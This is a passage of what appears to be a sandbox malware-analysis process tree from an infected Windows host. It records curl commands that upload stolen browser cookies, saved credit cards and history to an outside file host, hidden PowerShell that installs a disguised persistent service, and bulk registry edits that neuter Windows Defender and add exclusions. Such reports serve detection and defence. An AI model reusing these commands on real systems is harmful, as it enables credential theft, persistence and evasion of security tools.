C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcookies.txt" https://store3.gofile.io/uploadFile"9⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcreditcards.txt" https://store3.gofile.io/uploadFile"9⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crautofills.txt" https://store3.gofile.io/uploadFile"9⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crhistories.txt" https://store3.gofile.io/uploadFile"9⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crbookmarks.txt" https://store3.gofile.io/uploadFile"9⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Desktop/ReadBackup.inf" https://store3.gofile.io/uploadFile"9⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000024001\kfiwarhg.exe"C:\Users\Admin\AppData\Local\Temp\1000024001\kfiwarhg.exe"6⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\1.bat" "7⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\work.exework.exe -priverdD8⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\pgeask.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\pgeask.exe"9⤵
- Executes dropped EXE
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000025001\setup222.exe"C:\Users\Admin\AppData\Local\Temp\1000025001\setup222.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\setup222-ea513b1f4155f00a\setup222.exe"C:\Users\Admin\AppData\Local\Temp\setup222-ea513b1f4155f00a\setup222.exe"7⤵
- Executes dropped EXE
- Drops file in System32 directory
-
C:\Windows\system32\winsvc.exe"C:\Windows\system32\winsvc.exe" "C:\Users\Admin\AppData\Local\Temp\setup222-ea513b1f4155f00a\setup222.exe"8⤵
- Executes dropped EXE
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" "-WindowStyle" "Hidden" "-Command" "&" "\"C:\Windows\system32\sc.exe\"" "create" "winsvc" "type=own" "start=auto" "error=ignore" "binPath=\"C:\Windows\system32\winsvc.exe\"" "DisplayName=\"Windows System Service\""9⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\sc.exe"C:\Windows\system32\sc.exe" create winsvc type=own start=auto error=ignore binPath=C:\Windows\system32\winsvc.exe "DisplayName=Windows System Service"10⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" "-WindowStyle" "Hidden" "-Command" "&" "\"C:\Windows\system32\sc.exe\"" "failure" "winsvc" "reset=0" "actions=restart/0/restart/0/restart/0"9⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\sc.exe"C:\Windows\system32\sc.exe" failure winsvc reset=0 actions=restart/0/restart/0/restart/010⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" "-WindowStyle" "Hidden" "-Command" "&" "\"C:\Windows\system32\sc.exe\"" "description" "winsvc" "\"Windows System Service is the main system supervision service.\""9⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\sc.exe"C:\Windows\system32\sc.exe" description winsvc "Windows System Service is the main system supervision service."10⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" "-WindowStyle" "Hidden" "-Command" "&" "\"C:\Windows\system32\sc.exe\"" "start" "winsvc"9⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\sc.exe"C:\Windows\system32\sc.exe" start winsvc10⤵
- Launches sc.exe
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000012001\c74a8134b1.exe"C:\Users\Admin\AppData\Local\Temp\1000012001\c74a8134b1.exe"4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Local\Temp\1000013001\bac3d19bb2.exe"C:\Users\Admin\AppData\Local\Temp\1000013001\bac3d19bb2.exe"4⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account5⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xcc,0xd0,0xd4,0xa8,0xd8,0x7ffacf5d9758,0x7ffacf5d9768,0x7ffacf5d97786⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1532 --field-trial-handle=1808,i,13029034286928376591,4492118921783747272,131072 /prefetch:26⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1984 --field-trial-handle=1808,i,13029034286928376591,4492118921783747272,131072 /prefetch:86⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2072 --field-trial-handle=1808,i,13029034286928376591,4492118921783747272,131072 /prefetch:86⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2952 --field-trial-handle=1808,i,13029034286928376591,4492118921783747272,131072 /prefetch:16⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2968 --field-trial-handle=1808,i,13029034286928376591,4492118921783747272,131072 /prefetch:16⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4456 --field-trial-handle=1808,i,13029034286928376591,4492118921783747272,131072 /prefetch:16⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=3332 --field-trial-handle=1808,i,13029034286928376591,4492118921783747272,131072 /prefetch:16⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=3852 --field-trial-handle=1808,i,13029034286928376591,4492118921783747272,131072 /prefetch:86⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4640 --field-trial-handle=1808,i,13029034286928376591,4492118921783747272,131072 /prefetch:86⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5052 --field-trial-handle=1808,i,13029034286928376591,4492118921783747272,131072 /prefetch:86⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5156 --field-trial-handle=1808,i,13029034286928376591,4492118921783747272,131072 /prefetch:86⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5076 --field-trial-handle=1808,i,13029034286928376591,4492118921783747272,131072 /prefetch:86⤵
-
-
-
-
-
-
C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\7zSC033.tmp\Install.exeC:\Users\Admin\AppData\Local\Temp\7zSC033.tmp\Install.exe PX /SdXdidpxft 385118 /S1⤵
- Executes dropped EXE
- Drops desktop.ini file(s)
- Drops file in System32 directory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"2⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 64⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 65⤵
-
-
-
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 64⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 65⤵
-
-
-
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 64⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 65⤵
-
-
-
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 64⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 65⤵
-
-
-
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell start-process -WindowStyle Hidden gpupdate.exe /force4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell start-process -WindowStyle Hidden gpupdate.exe /force5⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force6⤵
-
-
-
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:324⤵
-
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:643⤵
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZzJFgnUaheUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZzJFgnUaheUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\efSuucJNImPU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\efSuucJNImPU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gWMsjtYByovYC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gWMsjtYByovYC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qfQXRdAKnlsTdhGWuTR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qfQXRdAKnlsTdhGWuTR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\voItHROCU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\voItHROCU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\WMmUhsrLoeNTYuVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\WMmUhsrLoeNTYuVB\" /t REG_DWORD /d 0 /reg:64;REG ADD 